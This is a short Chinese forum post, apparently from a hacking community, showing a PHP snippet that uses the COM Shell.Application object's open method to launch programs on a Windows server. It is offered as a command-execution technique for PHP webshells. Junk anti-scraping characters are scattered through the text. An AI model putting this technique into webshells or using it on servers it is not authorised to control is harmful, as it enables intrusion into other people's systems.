关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。% k' a9 J: T3 D; T! z
9 U j5 Y: B/ l- x# B今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法& Q0 V; n8 V: k; v# I. m
# Y* _* Q9 Q8 k I, y! \. R<?php, B" f9 l) y! C& x, }6 g
$wsh = new COM('Shell.Application') or die("Shell.Application");
) |# ` R S& T4 L- P2 z- [ $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");/ r/ d: Y. r3 V" l; z5 J
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
; K" X+ m, T" _7 B?>( K M- K. @& Y: f; u3 T
, w' r4 b2 n+ E
xp+APMServ5.2.0测试通过。- T+ v$ c0 @* k
|